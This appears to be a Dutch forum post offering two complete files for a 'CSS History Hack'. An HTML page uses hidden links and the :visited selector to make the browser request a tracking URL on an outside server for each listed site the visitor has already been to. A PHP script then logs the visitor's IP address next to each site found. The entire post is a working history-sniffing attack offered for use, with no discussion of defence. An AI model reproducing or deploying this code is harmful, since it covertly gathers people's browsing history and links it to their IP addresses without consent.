het html bestand:
[code]
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
<title>CSS History Hack</title>
<style type="text/css">
a {
    display: none;
}

.a1:visited {
    background-image: url(http://www.website.com/csshack.php?s=1);
    display: block;
}

.a2:visited {
    background-image: url(http://www.website.com/csshack.php?s=2);
    display: block;
}

.a3:visited {
    background-image: url(http://www.website.com/csshack.php?s=3);
    display: block;
}

.a4:visited {
    background-image: url(http://www.website.com/csshack.php?s=4);
    display: block;
}

.a5:visited {
    background-image: url(http://www.website.com/csshack.php?s=5);
    display: block;
}
</style>
</head>

<body>
<a class="a1" href="http://www.google.com"><span>Google</span>
<a class="a2" href="http://www.yahoo.com"><span>Yahoo</span>
<a class="a3" href="http://www.wikipedia.org"><span>Wikipedia</span>
<a class="a4" href="http://www.ebay.com"><span>Ebay</span>
<a class="a5" href="http://phphulp.nl"><span>PHPhulp</span>
</body>
</html>
[/code]

het php bestand:
<?php
if(empty($_GET['s']))
    die(file_get_contents("CSS-Hack.txt"));

$f = fopen("CSS-Hack.txt", 'a');
switch($_GET['s']){
    case 1:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Google.com");
        break;
    case 2:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Yahoo.com");
        break;
    case 3:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Wikipedia.org");
        break;
    case 4:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Ebay.com");
        break;
    case 5:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - PHPHulp.nl");
        break;
}

fwrite($f, "
");
fclose($f);
?> 